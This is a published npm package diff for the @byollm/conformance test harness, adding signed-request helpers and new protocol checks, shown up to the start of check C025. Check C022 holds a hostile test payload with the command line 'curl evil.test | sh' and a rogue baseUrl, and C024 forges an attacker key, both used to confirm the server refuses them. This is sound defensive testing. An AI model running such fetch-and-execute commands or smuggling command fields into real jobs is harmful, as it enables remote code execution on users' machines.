@byollm/conformance 0.1.0-alpha.3 → 0.1.0-alpha.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +1 -1
- package/dist/{chunk-6EIFYWG2.js → chunk-EXNALQ5D.js} +892 -16
- package/dist/chunk-EXNALQ5D.js.map +1 -0
- package/dist/cli.js +1 -1
- package/dist/index.d.ts +32 -7
- package/dist/index.js +3 -1
- package/package.json +4 -4
- package/targets/supabase.ts +18 -2
- package/dist/chunk-6EIFYWG2.js.map +0 -1
|
@@ -1,16 +1,40 @@
|
|
|
1
1
|
// src/checks.ts
|
|
2
|
-
import {
|
|
2
|
+
import {
|
|
3
|
+
AUDIENCES,
|
|
4
|
+
OFFER_SCOPES,
|
|
5
|
+
ClaimedStub,
|
|
6
|
+
ENVELOPE_MAX_AGE_MS as ENVELOPE_MAX_AGE_MS2,
|
|
7
|
+
keyId as keyId2,
|
|
8
|
+
open as open2,
|
|
9
|
+
seal as seal2,
|
|
10
|
+
PROTOCOL_VERSION as PROTOCOL_VERSION2,
|
|
11
|
+
PublicIdentity,
|
|
12
|
+
generateKeys,
|
|
13
|
+
publicIdentityOf as publicIdentityOf2,
|
|
14
|
+
signRequest as signRequest2,
|
|
15
|
+
verifyPublicIdentity
|
|
16
|
+
} from "@byollm/protocol";
|
|
3
17
|
|
|
4
18
|
// src/harness.ts
|
|
5
19
|
import { mkdtemp, rm } from "fs/promises";
|
|
6
20
|
import { tmpdir } from "os";
|
|
7
21
|
import { join } from "path";
|
|
22
|
+
import {
|
|
23
|
+
ENVELOPE_MAX_AGE_MS,
|
|
24
|
+
PROTOCOL_VERSION,
|
|
25
|
+
keyId,
|
|
26
|
+
open,
|
|
27
|
+
seal,
|
|
28
|
+
publicIdentityOf,
|
|
29
|
+
signRequest
|
|
30
|
+
} from "@byollm/protocol";
|
|
8
31
|
import {
|
|
9
32
|
Allowlist,
|
|
10
33
|
Budgets,
|
|
11
34
|
IngressLog,
|
|
12
35
|
SpendLedger,
|
|
13
36
|
ProtocolClient,
|
|
37
|
+
DeviceIdentity,
|
|
14
38
|
Runner,
|
|
15
39
|
connect,
|
|
16
40
|
resolveConfig,
|
|
@@ -23,8 +47,12 @@ var EchoBackend = class {
|
|
|
23
47
|
seen = [];
|
|
24
48
|
/** Set to make the next call hang, for lease and cancel checks. */
|
|
25
49
|
hangMs = 0;
|
|
50
|
+
/** Set false to simulate the model not being installed or not running. */
|
|
51
|
+
healthy = true;
|
|
52
|
+
/** What the backend reports it can serve. Empty means "does not enumerate". */
|
|
53
|
+
models = ["echo-model"];
|
|
26
54
|
health() {
|
|
27
|
-
return Promise.resolve({ healthy:
|
|
55
|
+
return Promise.resolve({ healthy: this.healthy, models: this.models });
|
|
28
56
|
}
|
|
29
57
|
async execute(request) {
|
|
30
58
|
this.seen.push(request.prompt);
|
|
@@ -124,9 +152,11 @@ async function pairDaemon(target, options) {
|
|
|
124
152
|
let userCode = "";
|
|
125
153
|
const pairingAbort = new AbortController();
|
|
126
154
|
let pairingError;
|
|
155
|
+
const deviceIdentity = new DeviceIdentity(join(home, "keys.json"));
|
|
127
156
|
const pairing = connect({
|
|
128
157
|
client: pairingClient,
|
|
129
158
|
daemonVersion: "conformance",
|
|
159
|
+
device: await deviceIdentity.publicIdentity(Date.now()),
|
|
130
160
|
label: options.label ?? `daemon-${options.owner}`,
|
|
131
161
|
capabilities,
|
|
132
162
|
onCode: (info) => {
|
|
@@ -161,11 +191,21 @@ async function pairDaemon(target, options) {
|
|
|
161
191
|
const runner = new Runner({
|
|
162
192
|
client: new ProtocolClient({
|
|
163
193
|
origin: target.origin,
|
|
164
|
-
|
|
194
|
+
// The harness signs exactly as a daemon does, so certification
|
|
195
|
+
// exercises the real verification path.
|
|
196
|
+
identity: {
|
|
197
|
+
runnerId: result.pairing.runnerId,
|
|
198
|
+
sign: (input) => deviceIdentity.signRequest(input)
|
|
199
|
+
},
|
|
165
200
|
fetch: fetchImpl
|
|
166
201
|
}),
|
|
167
202
|
runnerId: result.pairing.runnerId,
|
|
168
203
|
owner: result.pairing.owner,
|
|
204
|
+
identity: {
|
|
205
|
+
keys: () => deviceIdentity.load(Date.now()),
|
|
206
|
+
// Pinned at pairing, exactly as a real daemon does.
|
|
207
|
+
sitePinned: result.pairing.site
|
|
208
|
+
},
|
|
169
209
|
daemonVersion: "conformance",
|
|
170
210
|
loaded,
|
|
171
211
|
allowlist,
|
|
@@ -180,6 +220,10 @@ async function pairDaemon(target, options) {
|
|
|
180
220
|
allowlist,
|
|
181
221
|
runnerId: result.pairing.runnerId,
|
|
182
222
|
owner: result.pairing.owner,
|
|
223
|
+
token: result.pairing.token,
|
|
224
|
+
keys: await deviceIdentity.load(Date.now()),
|
|
225
|
+
identityKeys: () => deviceIdentity.load(Date.now()),
|
|
226
|
+
sitePinned: result.pairing.site,
|
|
183
227
|
home,
|
|
184
228
|
ingress,
|
|
185
229
|
spend,
|
|
@@ -190,10 +234,10 @@ async function pairDaemon(target, options) {
|
|
|
190
234
|
timeoutMs: 2e3,
|
|
191
235
|
what: "in-flight jobs to unwind"
|
|
192
236
|
}).catch(() => void 0);
|
|
193
|
-
await
|
|
237
|
+
await removeHome(home);
|
|
194
238
|
},
|
|
195
239
|
abandon: async () => {
|
|
196
|
-
await
|
|
240
|
+
await removeHome(home);
|
|
197
241
|
}
|
|
198
242
|
};
|
|
199
243
|
}
|
|
@@ -217,14 +261,208 @@ async function waitFor(predicate, options = {}) {
|
|
|
217
261
|
function sleep(ms) {
|
|
218
262
|
return new Promise((resolve) => setTimeout(resolve, ms));
|
|
219
263
|
}
|
|
264
|
+
var MAX_REAL_WAIT_MS = 3e4;
|
|
220
265
|
async function advance(target, ms) {
|
|
221
266
|
if (target.advanceTime) {
|
|
222
267
|
await target.advanceTime(ms);
|
|
223
268
|
} else {
|
|
269
|
+
if (ms > MAX_REAL_WAIT_MS) {
|
|
270
|
+
throw new Error(
|
|
271
|
+
`this check needs to advance ${String(Math.round(ms / 1e3))}s and "${target.name}" cannot fake time, so it would sleep for real. Configure a shorter TTL on the target, or give it advanceTime().`
|
|
272
|
+
);
|
|
273
|
+
}
|
|
224
274
|
await sleep(ms);
|
|
225
275
|
}
|
|
226
276
|
await target.sweep();
|
|
227
277
|
}
|
|
278
|
+
async function claimOne(target, daemon) {
|
|
279
|
+
const capabilities = await daemon.runner.detectCapabilities();
|
|
280
|
+
const body = JSON.stringify({
|
|
281
|
+
protocolVersion: PROTOCOL_VERSION,
|
|
282
|
+
runnerId: daemon.runnerId,
|
|
283
|
+
capabilities,
|
|
284
|
+
max: 1
|
|
285
|
+
});
|
|
286
|
+
const signature = signRequest(daemon.keys, {
|
|
287
|
+
endpoint: "claim",
|
|
288
|
+
runnerId: daemon.runnerId,
|
|
289
|
+
issuedAt: Date.now(),
|
|
290
|
+
body
|
|
291
|
+
});
|
|
292
|
+
const response = await target.fetch(
|
|
293
|
+
new Request(`${target.origin}/byollm/claim`, {
|
|
294
|
+
method: "POST",
|
|
295
|
+
headers: {
|
|
296
|
+
"content-type": "application/json",
|
|
297
|
+
"x-byollm-runner": signature.runnerId,
|
|
298
|
+
"x-byollm-issued-at": String(signature.issuedAt),
|
|
299
|
+
"x-byollm-signature": signature.signature
|
|
300
|
+
},
|
|
301
|
+
body
|
|
302
|
+
})
|
|
303
|
+
);
|
|
304
|
+
if (response.status !== 200) {
|
|
305
|
+
throw new Error(`claim answered ${String(response.status)}`);
|
|
306
|
+
}
|
|
307
|
+
const parsed = await response.json();
|
|
308
|
+
const job = parsed.jobs[0];
|
|
309
|
+
if (!job) throw new Error("claim returned no jobs");
|
|
310
|
+
return job;
|
|
311
|
+
}
|
|
312
|
+
async function releaseLease(target, daemon, jobId, leaseId) {
|
|
313
|
+
const body = JSON.stringify({
|
|
314
|
+
protocolVersion: PROTOCOL_VERSION,
|
|
315
|
+
runnerId: daemon.runnerId,
|
|
316
|
+
leases: [{ jobId, leaseId }],
|
|
317
|
+
reason: "backend-down"
|
|
318
|
+
});
|
|
319
|
+
const signature = signRequest(daemon.keys, {
|
|
320
|
+
endpoint: "release",
|
|
321
|
+
runnerId: daemon.runnerId,
|
|
322
|
+
issuedAt: Date.now(),
|
|
323
|
+
body
|
|
324
|
+
});
|
|
325
|
+
return target.fetch(
|
|
326
|
+
new Request(`${target.origin}/byollm/release`, {
|
|
327
|
+
method: "POST",
|
|
328
|
+
headers: {
|
|
329
|
+
"content-type": "application/json",
|
|
330
|
+
"x-byollm-runner": signature.runnerId,
|
|
331
|
+
"x-byollm-issued-at": String(signature.issuedAt),
|
|
332
|
+
"x-byollm-signature": signature.signature
|
|
333
|
+
},
|
|
334
|
+
body
|
|
335
|
+
})
|
|
336
|
+
);
|
|
337
|
+
}
|
|
338
|
+
async function fetchPayload(target, daemon, jobId, leaseId) {
|
|
339
|
+
const body = JSON.stringify({
|
|
340
|
+
protocolVersion: PROTOCOL_VERSION,
|
|
341
|
+
runnerId: daemon.runnerId,
|
|
342
|
+
jobId,
|
|
343
|
+
leaseId
|
|
344
|
+
});
|
|
345
|
+
const signature = signRequest(daemon.keys, {
|
|
346
|
+
endpoint: "fetch",
|
|
347
|
+
runnerId: daemon.runnerId,
|
|
348
|
+
issuedAt: Date.now(),
|
|
349
|
+
body
|
|
350
|
+
});
|
|
351
|
+
const response = await target.fetch(
|
|
352
|
+
new Request(`${target.origin}/byollm/fetch`, {
|
|
353
|
+
method: "POST",
|
|
354
|
+
headers: {
|
|
355
|
+
"content-type": "application/json",
|
|
356
|
+
"x-byollm-runner": signature.runnerId,
|
|
357
|
+
"x-byollm-issued-at": String(signature.issuedAt),
|
|
358
|
+
"x-byollm-signature": signature.signature
|
|
359
|
+
},
|
|
360
|
+
body
|
|
361
|
+
})
|
|
362
|
+
);
|
|
363
|
+
if (response.status !== 200) return null;
|
|
364
|
+
const raw = await response.json();
|
|
365
|
+
const keys = await daemon.identityKeys();
|
|
366
|
+
const opened = await open({
|
|
367
|
+
envelope: raw.envelope,
|
|
368
|
+
recipientKeys: keys,
|
|
369
|
+
senderIdentityPublic: daemon.sitePinned.identity,
|
|
370
|
+
expected: {
|
|
371
|
+
jobId,
|
|
372
|
+
senderKeyId: keyId(daemon.sitePinned.identity),
|
|
373
|
+
recipientKeyId: keyId(publicIdentityOf(keys).identity),
|
|
374
|
+
direction: "payload"
|
|
375
|
+
}
|
|
376
|
+
});
|
|
377
|
+
return {
|
|
378
|
+
raw,
|
|
379
|
+
opened: opened.ok ? JSON.parse(opened.plaintext) : null
|
|
380
|
+
};
|
|
381
|
+
}
|
|
382
|
+
async function postResult(target, daemon, input) {
|
|
383
|
+
const keys = await daemon.identityKeys();
|
|
384
|
+
const sealer = input.sealWith ?? keys;
|
|
385
|
+
const envelope = await seal({
|
|
386
|
+
plaintext: JSON.stringify(input.outcome),
|
|
387
|
+
senderKeys: sealer,
|
|
388
|
+
recipientEncryptionPublic: daemon.sitePinned.encryption,
|
|
389
|
+
context: {
|
|
390
|
+
jobId: input.jobId,
|
|
391
|
+
// Always the *device's* key id, even when a relay sealed it: an
|
|
392
|
+
// attacker naming itself would be refused for the wrong reason, and
|
|
393
|
+
// this check exists to prove the signature is what refuses it.
|
|
394
|
+
senderKeyId: keyId(publicIdentityOf(keys).identity),
|
|
395
|
+
recipientKeyId: keyId(daemon.sitePinned.identity),
|
|
396
|
+
deadlineAt: Date.now() + ENVELOPE_MAX_AGE_MS,
|
|
397
|
+
direction: "result"
|
|
398
|
+
}
|
|
399
|
+
});
|
|
400
|
+
const body = JSON.stringify({
|
|
401
|
+
protocolVersion: PROTOCOL_VERSION,
|
|
402
|
+
runnerId: daemon.runnerId,
|
|
403
|
+
jobId: input.jobId,
|
|
404
|
+
envelope,
|
|
405
|
+
disposition: input.disposition ?? input.outcome.outcome,
|
|
406
|
+
model: "conformance-model",
|
|
407
|
+
backendClass: "http",
|
|
408
|
+
durationMs: 1
|
|
409
|
+
});
|
|
410
|
+
const signature = signRequest(daemon.keys, {
|
|
411
|
+
endpoint: "result",
|
|
412
|
+
runnerId: daemon.runnerId,
|
|
413
|
+
issuedAt: Date.now(),
|
|
414
|
+
body
|
|
415
|
+
});
|
|
416
|
+
return target.fetch(
|
|
417
|
+
new Request(`${target.origin}/byollm/result`, {
|
|
418
|
+
method: "POST",
|
|
419
|
+
headers: {
|
|
420
|
+
"content-type": "application/json",
|
|
421
|
+
"x-byollm-runner": signature.runnerId,
|
|
422
|
+
"x-byollm-issued-at": String(signature.issuedAt),
|
|
423
|
+
"x-byollm-signature": signature.signature
|
|
424
|
+
},
|
|
425
|
+
body
|
|
426
|
+
})
|
|
427
|
+
);
|
|
428
|
+
}
|
|
429
|
+
async function removeHome(home) {
|
|
430
|
+
for (let attempt = 0; attempt < 3; attempt += 1) {
|
|
431
|
+
try {
|
|
432
|
+
await rm(home, { recursive: true, force: true });
|
|
433
|
+
return;
|
|
434
|
+
} catch {
|
|
435
|
+
await sleep(20);
|
|
436
|
+
}
|
|
437
|
+
}
|
|
438
|
+
await rm(home, { recursive: true, force: true }).catch(() => void 0);
|
|
439
|
+
}
|
|
440
|
+
async function fetchGenuine(target, daemon, owner = "alice") {
|
|
441
|
+
const marker = "genuine work";
|
|
442
|
+
await target.enqueue({
|
|
443
|
+
kind: "llm.generate",
|
|
444
|
+
payload: { prompt: marker },
|
|
445
|
+
// The target's own name for the user, not the id it mapped that to —
|
|
446
|
+
// passing a mapped id back in addresses a user the target never made.
|
|
447
|
+
owner,
|
|
448
|
+
audience: "self"
|
|
449
|
+
});
|
|
450
|
+
for (let attempt = 0; attempt < 20; attempt += 1) {
|
|
451
|
+
try {
|
|
452
|
+
const stub = await claimOne(target, daemon);
|
|
453
|
+
const fetched = await fetchPayload(
|
|
454
|
+
target,
|
|
455
|
+
daemon,
|
|
456
|
+
stub.id,
|
|
457
|
+
stub.lease.id
|
|
458
|
+
);
|
|
459
|
+
return JSON.stringify(fetched?.opened ?? {}).includes(marker);
|
|
460
|
+
} catch {
|
|
461
|
+
await sleep(50);
|
|
462
|
+
}
|
|
463
|
+
}
|
|
464
|
+
return false;
|
|
465
|
+
}
|
|
228
466
|
|
|
229
467
|
// src/checks.ts
|
|
230
468
|
function assert(condition, message) {
|
|
@@ -756,27 +994,29 @@ var CHECKS = [
|
|
|
756
994
|
},
|
|
757
995
|
{
|
|
758
996
|
id: "C015_INGRESS_BEFORE_EXECUTION",
|
|
759
|
-
title: "every executed prompt is in the ingress log",
|
|
997
|
+
title: "every executed prompt is in the ingress log before it runs",
|
|
760
998
|
musts: ["INGRESS_LOGGED_BEFORE_EXECUTION"],
|
|
761
999
|
async run(target) {
|
|
762
1000
|
const daemon = await pairDaemon(target, { owner: "alice" });
|
|
1001
|
+
let ticking = Promise.resolve();
|
|
763
1002
|
try {
|
|
1003
|
+
daemon.backend.hangMs = 3e4;
|
|
764
1004
|
const job = await target.enqueue({
|
|
765
1005
|
kind: "llm.generate",
|
|
766
1006
|
payload: prompt("logged prompt"),
|
|
767
1007
|
owner: "alice"
|
|
768
1008
|
});
|
|
769
|
-
|
|
770
|
-
await waitFor(
|
|
771
|
-
what: "the
|
|
1009
|
+
ticking = daemon.runner.tick().catch(() => void 0);
|
|
1010
|
+
await waitFor(() => Promise.resolve(daemon.backend.seen.length > 0), {
|
|
1011
|
+
what: "the backend to be called"
|
|
772
1012
|
});
|
|
773
|
-
const
|
|
774
|
-
const logged =
|
|
1013
|
+
const during = await daemon.ingress.read();
|
|
1014
|
+
const logged = during.find(
|
|
775
1015
|
(entry) => entry.type === "prompt" && entry.jobId === job.id
|
|
776
1016
|
);
|
|
777
1017
|
assert(
|
|
778
1018
|
logged !== void 0,
|
|
779
|
-
"the
|
|
1019
|
+
"a prompt reached the backend before it reached the ingress log"
|
|
780
1020
|
);
|
|
781
1021
|
assert(
|
|
782
1022
|
logged.type === "prompt" && logged.prompt === "logged prompt",
|
|
@@ -784,6 +1024,7 @@ var CHECKS = [
|
|
|
784
1024
|
);
|
|
785
1025
|
} finally {
|
|
786
1026
|
await daemon.dispose();
|
|
1027
|
+
await ticking;
|
|
787
1028
|
}
|
|
788
1029
|
}
|
|
789
1030
|
},
|
|
@@ -952,11 +1193,628 @@ var CHECKS = [
|
|
|
952
1193
|
await bob.dispose();
|
|
953
1194
|
}
|
|
954
1195
|
}
|
|
1196
|
+
},
|
|
1197
|
+
{
|
|
1198
|
+
id: "C019_CLAIM_ATOMIC",
|
|
1199
|
+
title: "two runners racing one job \u2014 exactly one gets it",
|
|
1200
|
+
musts: ["CLAIM_ATOMIC"],
|
|
1201
|
+
async run(target) {
|
|
1202
|
+
const a = await pairDaemon(target, { owner: "alice", label: "laptop" });
|
|
1203
|
+
const b = await pairDaemon(target, { owner: "alice", label: "desktop" });
|
|
1204
|
+
try {
|
|
1205
|
+
const job = await target.enqueue({
|
|
1206
|
+
kind: "llm.generate",
|
|
1207
|
+
payload: prompt("only once, please"),
|
|
1208
|
+
owner: "alice",
|
|
1209
|
+
audience: "self"
|
|
1210
|
+
});
|
|
1211
|
+
await Promise.all([a.runner.tick(), b.runner.tick()]);
|
|
1212
|
+
await waitFor(async () => (await target.job(job.id))?.state === "ok", {
|
|
1213
|
+
what: "the contested job to finish"
|
|
1214
|
+
});
|
|
1215
|
+
const ran = a.backend.seen.length + b.backend.seen.length;
|
|
1216
|
+
assert(
|
|
1217
|
+
ran === 1,
|
|
1218
|
+
`the job ran ${String(ran)} times across two runners, not once`
|
|
1219
|
+
);
|
|
1220
|
+
} finally {
|
|
1221
|
+
await a.dispose();
|
|
1222
|
+
await b.dispose();
|
|
1223
|
+
}
|
|
1224
|
+
}
|
|
1225
|
+
},
|
|
1226
|
+
{
|
|
1227
|
+
id: "C020_PAIR_CODE_EXPIRES",
|
|
1228
|
+
title: "an expired device code cannot be redeemed",
|
|
1229
|
+
musts: ["PAIR_CODE_EXPIRES"],
|
|
1230
|
+
async run(target) {
|
|
1231
|
+
const started = await target.fetch(
|
|
1232
|
+
new Request(`${target.origin}/byollm/pair`, {
|
|
1233
|
+
method: "POST",
|
|
1234
|
+
headers: { "content-type": "application/json" },
|
|
1235
|
+
body: JSON.stringify({
|
|
1236
|
+
protocolVersion: PROTOCOL_VERSION2,
|
|
1237
|
+
action: "start",
|
|
1238
|
+
device: publicIdentityOf2(generateKeys(Date.now())),
|
|
1239
|
+
daemon: {
|
|
1240
|
+
version: "conformance",
|
|
1241
|
+
label: "expiring-daemon",
|
|
1242
|
+
platform: "linux"
|
|
1243
|
+
},
|
|
1244
|
+
capabilities: []
|
|
1245
|
+
})
|
|
1246
|
+
})
|
|
1247
|
+
);
|
|
1248
|
+
assert(started.status === 200, "pair start did not answer 200");
|
|
1249
|
+
const pairing = await started.json();
|
|
1250
|
+
await advance(target, pairing.expiresAt - Date.now() + 1e3);
|
|
1251
|
+
let approved = true;
|
|
1252
|
+
try {
|
|
1253
|
+
await target.approvePairing(pairing.userCode, "alice");
|
|
1254
|
+
} catch {
|
|
1255
|
+
approved = false;
|
|
1256
|
+
}
|
|
1257
|
+
const polled = await target.fetch(
|
|
1258
|
+
new Request(`${target.origin}/byollm/pair`, {
|
|
1259
|
+
method: "POST",
|
|
1260
|
+
headers: { "content-type": "application/json" },
|
|
1261
|
+
body: JSON.stringify({
|
|
1262
|
+
protocolVersion: PROTOCOL_VERSION2,
|
|
1263
|
+
action: "poll",
|
|
1264
|
+
deviceCode: pairing.deviceCode
|
|
1265
|
+
})
|
|
1266
|
+
})
|
|
1267
|
+
);
|
|
1268
|
+
const status = polled.status === 200 ? (await polled.json()).status : "rejected";
|
|
1269
|
+
assert(
|
|
1270
|
+
!approved || status !== "approved",
|
|
1271
|
+
"an expired device code still paired a runner"
|
|
1272
|
+
);
|
|
1273
|
+
assert(
|
|
1274
|
+
status === "expired" || status === "denied" || status === "rejected",
|
|
1275
|
+
`polling an expired code answered "${status}"`
|
|
1276
|
+
);
|
|
1277
|
+
}
|
|
1278
|
+
},
|
|
1279
|
+
{
|
|
1280
|
+
id: "C021_CAPABILITY_IS_DETECTED",
|
|
1281
|
+
title: "a runner advertises only what is installed and healthy",
|
|
1282
|
+
musts: ["CAPABILITY_IS_DETECTED"],
|
|
1283
|
+
async run(target) {
|
|
1284
|
+
const daemon = await pairDaemon(target, { owner: "alice" });
|
|
1285
|
+
try {
|
|
1286
|
+
daemon.backend.healthy = false;
|
|
1287
|
+
const advertised = await daemon.runner.detectCapabilities();
|
|
1288
|
+
assert(
|
|
1289
|
+
advertised.length === 0,
|
|
1290
|
+
`an unhealthy backend advertised ${String(advertised.length)} capabilities`
|
|
1291
|
+
);
|
|
1292
|
+
daemon.backend.healthy = true;
|
|
1293
|
+
daemon.backend.models = ["some-other-model"];
|
|
1294
|
+
const wrongModel = await daemon.runner.detectCapabilities();
|
|
1295
|
+
assert(
|
|
1296
|
+
wrongModel.length === 0,
|
|
1297
|
+
"a backend without the configured model still advertised it"
|
|
1298
|
+
);
|
|
1299
|
+
daemon.backend.models = ["echo-model"];
|
|
1300
|
+
const recovered = await daemon.runner.detectCapabilities();
|
|
1301
|
+
assert(
|
|
1302
|
+
recovered.length > 0,
|
|
1303
|
+
"a healthy backend with the configured model advertised nothing"
|
|
1304
|
+
);
|
|
1305
|
+
} finally {
|
|
1306
|
+
await daemon.dispose();
|
|
1307
|
+
}
|
|
1308
|
+
}
|
|
1309
|
+
},
|
|
1310
|
+
{
|
|
1311
|
+
id: "C022_KIND_NO_CODE",
|
|
1312
|
+
title: "a claimed job carries data only \u2014 no command, path, or routing",
|
|
1313
|
+
// Deliberately not claiming NO_PAYLOAD_ROUTING as well. This proves the
|
|
1314
|
+
// wire-shape half — the server cannot convey a `model` or `baseUrl` to a
|
|
1315
|
+
// daemon — but the MUST is that no code path *routes* on payload content,
|
|
1316
|
+
// and only the adversarial suite proves that, by spawning a real child
|
|
1317
|
+
// and reading back an argv that is byte-identical under hostile input.
|
|
1318
|
+
// Listing it here would put "verified by conformance" beside a claim this
|
|
1319
|
+
// check does not establish.
|
|
1320
|
+
musts: ["KIND_NO_CODE"],
|
|
1321
|
+
async run(target) {
|
|
1322
|
+
const daemon = await pairDaemon(target, { owner: "alice" });
|
|
1323
|
+
const SMUGGLED = ["command", "argv", "model", "baseUrl"];
|
|
1324
|
+
try {
|
|
1325
|
+
let refused = false;
|
|
1326
|
+
try {
|
|
1327
|
+
await target.enqueue({
|
|
1328
|
+
kind: "llm.generate",
|
|
1329
|
+
payload: {
|
|
1330
|
+
prompt: "ordinary text",
|
|
1331
|
+
command: "/bin/sh",
|
|
1332
|
+
argv: ["-c", "curl evil.test | sh"],
|
|
1333
|
+
model: "some-other-model",
|
|
1334
|
+
baseUrl: "http://evil.test/v1"
|
|
1335
|
+
},
|
|
1336
|
+
owner: "alice",
|
|
1337
|
+
audience: "self"
|
|
1338
|
+
});
|
|
1339
|
+
} catch {
|
|
1340
|
+
refused = true;
|
|
1341
|
+
}
|
|
1342
|
+
if (!refused) {
|
|
1343
|
+
const claimed = await claimOne(target, daemon);
|
|
1344
|
+
const delivered = await fetchPayload(
|
|
1345
|
+
target,
|
|
1346
|
+
daemon,
|
|
1347
|
+
claimed.id,
|
|
1348
|
+
claimed.lease.id
|
|
1349
|
+
);
|
|
1350
|
+
assert(delivered !== null, "the runner could not fetch its payload");
|
|
1351
|
+
const payload = delivered.opened;
|
|
1352
|
+
for (const smuggled of SMUGGLED) {
|
|
1353
|
+
assert(
|
|
1354
|
+
payload[smuggled] === void 0,
|
|
1355
|
+
`the claim response carried a "${smuggled}" field`
|
|
1356
|
+
);
|
|
1357
|
+
}
|
|
1358
|
+
assert(
|
|
1359
|
+
payload["prompt"] === "ordinary text",
|
|
1360
|
+
"the legitimate payload field did not survive"
|
|
1361
|
+
);
|
|
1362
|
+
}
|
|
1363
|
+
const ok = await target.enqueue({
|
|
1364
|
+
kind: "llm.generate",
|
|
1365
|
+
payload: prompt("ordinary text"),
|
|
1366
|
+
owner: "alice",
|
|
1367
|
+
audience: "self"
|
|
1368
|
+
});
|
|
1369
|
+
await daemon.runner.tick();
|
|
1370
|
+
await waitFor(async () => (await target.job(ok.id))?.state === "ok", {
|
|
1371
|
+
what: "a well-formed job to run"
|
|
1372
|
+
});
|
|
1373
|
+
} finally {
|
|
1374
|
+
await daemon.dispose();
|
|
1375
|
+
}
|
|
1376
|
+
}
|
|
1377
|
+
},
|
|
1378
|
+
{
|
|
1379
|
+
id: "C023_VERSION_HANDSHAKE",
|
|
1380
|
+
title: "a version mismatch is refused in words, not by failing",
|
|
1381
|
+
musts: ["VERSION_HANDSHAKE_REQUIRED"],
|
|
1382
|
+
async run(target) {
|
|
1383
|
+
const post = (body) => target.fetch(
|
|
1384
|
+
new Request(`${target.origin}/byollm/claim`, {
|
|
1385
|
+
method: "POST",
|
|
1386
|
+
headers: {
|
|
1387
|
+
"content-type": "application/json",
|
|
1388
|
+
authorization: "Bearer whatever"
|
|
1389
|
+
},
|
|
1390
|
+
body: JSON.stringify(body)
|
|
1391
|
+
})
|
|
1392
|
+
);
|
|
1393
|
+
for (const [label, body] of [
|
|
1394
|
+
["a version from the future", { protocolVersion: "99", max: 1 }],
|
|
1395
|
+
["no version at all", { max: 1 }],
|
|
1396
|
+
["a non-string version", { protocolVersion: 0, max: 1 }]
|
|
1397
|
+
]) {
|
|
1398
|
+
const response = await post(body);
|
|
1399
|
+
const parsed = await response.json();
|
|
1400
|
+
assert(
|
|
1401
|
+
parsed.error === "unsupported-protocol-version",
|
|
1402
|
+
`${label}: answered "${parsed.error ?? "nothing"}" rather than unsupported-protocol-version`
|
|
1403
|
+
);
|
|
1404
|
+
assert(
|
|
1405
|
+
Array.isArray(parsed.supported) && parsed.supported.length > 0,
|
|
1406
|
+
`${label}: the refusal did not say what the server supports`
|
|
1407
|
+
);
|
|
1408
|
+
assert(
|
|
1409
|
+
(parsed.message ?? "").length > 20,
|
|
1410
|
+
`${label}: the refusal carried no usable message`
|
|
1411
|
+
);
|
|
1412
|
+
}
|
|
1413
|
+
const authed = await post({ protocolVersion: PROTOCOL_VERSION2, max: 1 });
|
|
1414
|
+
assert(
|
|
1415
|
+
authed.status === 400 || authed.status === 401,
|
|
1416
|
+
`a supported version with a bad token answered ${String(authed.status)}`
|
|
1417
|
+
);
|
|
1418
|
+
}
|
|
1419
|
+
},
|
|
1420
|
+
{
|
|
1421
|
+
id: "C024_KEY_EXCHANGE",
|
|
1422
|
+
title: "pairing exchanges identities, verifies them, and reveals nothing early",
|
|
1423
|
+
musts: ["KEYS_EXCHANGED_AT_CONSENT"],
|
|
1424
|
+
async run(target) {
|
|
1425
|
+
const start = async (device) => target.fetch(
|
|
1426
|
+
new Request(`${target.origin}/byollm/pair`, {
|
|
1427
|
+
method: "POST",
|
|
1428
|
+
headers: { "content-type": "application/json" },
|
|
1429
|
+
body: JSON.stringify({
|
|
1430
|
+
protocolVersion: PROTOCOL_VERSION2,
|
|
1431
|
+
action: "start",
|
|
1432
|
+
daemon: {
|
|
1433
|
+
version: "conformance",
|
|
1434
|
+
label: "key-exchange",
|
|
1435
|
+
platform: "linux"
|
|
1436
|
+
},
|
|
1437
|
+
device,
|
|
1438
|
+
capabilities: []
|
|
1439
|
+
})
|
|
1440
|
+
})
|
|
1441
|
+
);
|
|
1442
|
+
const honest = publicIdentityOf2(generateKeys(Date.now()));
|
|
1443
|
+
const attacker = publicIdentityOf2(generateKeys(Date.now()));
|
|
1444
|
+
const forged = await start({
|
|
1445
|
+
...honest,
|
|
1446
|
+
encryption: attacker.encryption
|
|
1447
|
+
});
|
|
1448
|
+
assert(
|
|
1449
|
+
forged.status >= 400,
|
|
1450
|
+
`a device with an unsigned encryption key paired anyway (${String(forged.status)})`
|
|
1451
|
+
);
|
|
1452
|
+
const started = await start(honest);
|
|
1453
|
+
assert(
|
|
1454
|
+
started.status === 200,
|
|
1455
|
+
"an honest device could not start pairing"
|
|
1456
|
+
);
|
|
1457
|
+
const pairing = await started.json();
|
|
1458
|
+
const poll = async () => {
|
|
1459
|
+
const response = await target.fetch(
|
|
1460
|
+
new Request(`${target.origin}/byollm/pair`, {
|
|
1461
|
+
method: "POST",
|
|
1462
|
+
headers: { "content-type": "application/json" },
|
|
1463
|
+
body: JSON.stringify({
|
|
1464
|
+
protocolVersion: PROTOCOL_VERSION2,
|
|
1465
|
+
action: "poll",
|
|
1466
|
+
deviceCode: pairing.deviceCode
|
|
1467
|
+
})
|
|
1468
|
+
})
|
|
1469
|
+
);
|
|
1470
|
+
return await response.json();
|
|
1471
|
+
};
|
|
1472
|
+
const pending = await poll();
|
|
1473
|
+
assert(
|
|
1474
|
+
pending["site"] === void 0,
|
|
1475
|
+
"a pending poll disclosed the site's keys before anyone approved"
|
|
1476
|
+
);
|
|
1477
|
+
await target.approvePairing(pairing.userCode, "alice");
|
|
1478
|
+
const approved = await poll();
|
|
1479
|
+
assert(
|
|
1480
|
+
approved["status"] === "approved",
|
|
1481
|
+
`poll after approval said "${String(approved["status"])}"`
|
|
1482
|
+
);
|
|
1483
|
+
const site = PublicIdentity.safeParse(approved["site"]);
|
|
1484
|
+
assert(site.success, "the approval carried no usable site identity");
|
|
1485
|
+
assert(
|
|
1486
|
+
verifyPublicIdentity(site.data),
|
|
1487
|
+
"the site's encryption key is not signed by the identity it presented"
|
|
1488
|
+
);
|
|
1489
|
+
}
|
|
1490
|
+
},
|
|
1491
|
+
{
|
|
1492
|
+
id: "C025_SIGNED_REQUESTS",
|
|
1493
|
+
title: "authentication is a signature over the request, not a secret",
|
|
1494
|
+
musts: ["REQUESTS_SIGNED_NOT_BEARER"],
|
|
1495
|
+
